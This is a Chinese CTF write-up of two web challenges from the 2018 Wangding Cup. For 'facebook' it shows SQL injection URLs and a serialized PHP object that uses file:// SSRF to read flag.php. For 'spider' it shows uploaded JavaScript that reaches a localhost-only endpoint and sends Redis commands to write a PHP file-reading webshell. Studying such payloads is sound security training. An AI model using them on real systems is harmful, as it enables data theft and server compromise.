1. 程式人生 > >2018 網鼎杯CTF 第一場

2018 網鼎杯CTF 第一場

哈哈。傳說中的pwn鼎杯來了,當時也沒做出來什麼,現在好好琢磨琢磨。

Web - facebook

首先還是看看網站有啥功能,大概就是一個可以註冊登入的,寫部落格的地方

 

現在的題目迷惑性很大,不能被表面現象迷惑,猜不透到底是sql注入,還是什麼。

從最開始的思路下手,robots git 和sql都試一下

git 無

robots得到資訊如下:

發現有原始碼,下載下來讀一下

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

沒有什麼太大的作用,不過記住最下面的正則匹配。

接著瀏覽一下,注意到網址格式如下:

有引數,說不定可以注入,使用sqlmap跑一下,或者手動測試一下,確實存在sql漏洞,但是union select被waf了

這是兩個方法,一個是繞過union select,一個是用別的

爆表名
/view.php?no=-6 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆列名
/view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
爆欄位
/view.php?no=-6 union/**/select 1,data,3,4  from users#

或者是使用報錯注入

爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆欄位
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

得到結果竟然是一個序列化的值

那麼大概的思路清楚了,我們輸入的資訊被儲存為序列化,讀取的時候會從資料庫中取出並反序列化,然後顯示在blog介面。    、

function get($url)獲取的blog連線,如果連線失敗就404,否則讀取檔案資訊。

所以我們可以通過反序列化來實現ssrf讀取任意檔案,構造我們想要的路徑,然後為了繞過正則,不從註冊登入的地方下手,直接人為構造聯合查詢返回語句,因為data欄位在第四個位置,我們也需要這樣:

/view.php?no=1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

即可得到flag的base64編碼

解碼即可,為了弄清楚到底怎麼回事,可以在讀取一下view.php

實際上就是取data後反序列化,然後獲取連結到的內容

 

spider

可以理解大概的意思是獲取我們提交的網址的內容,a標籤的

<a href="http://www.w3school.com.cn">W3School</a>

老套路看看有沒有原始碼洩露啥的

訪問 robots.txt 發現存在 /get_sourcecode 檔案

訪問提示 NOT 127.0.0.1,那思路大概是有了,需要編網頁讓伺服器幫我們讀,使用js程式碼讓其執行

通過伺服器執行 JS 程式碼來訪問 /get_sourcecode 檔案

不得不說 這個用的還是挺頻繁的 關於js的請求連線什麼的 

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
    //判斷系統版本,建立requst例項
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    //繫結事件 當狀態變化時呼叫匿名函式 將返回結果寫入到a標籤中
    //正好符合本網頁的功能 將標籤的innerHTML取出來就是我們要的結果
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200){
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
    xmlhttp.send();

}
loadXMLDoc();
</script>

作者:wuli_decade
連結:https://www.jianshu.com/p/78dd400669db

得到的結果如下,檔案的原始碼:

URL: http://127.0.0.1:80/upload/c97ddbd0-a6a3-11e8-b761-0242ac110184.html
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time &gt; 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 發現惡意關鍵字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/run.py') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

在hint所在的函式中,我們可以看出,大意是訪問一個網頁,採用post的方式上傳一個檔案,經過一些檢測,儲存到目錄下,那麼類似於webshell,我們需要上傳寫入一個shell,然後連線就可以了。

使用redis寫入 shell,關於redis的知識已經在上一篇部落格中特意更新了

<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
    xmlHttp = new XMLHttpRequest();
}
else{
    xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

接著構造 JS 程式碼訪問我們構造的PHP檔案即可獲得flag:

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
    xmlhttp.send();
}
loadXMLDoc();
</script>

參考:

https://xz.aliyun.com/t/2607

https://www.jianshu.com/c/ca8b1391ba41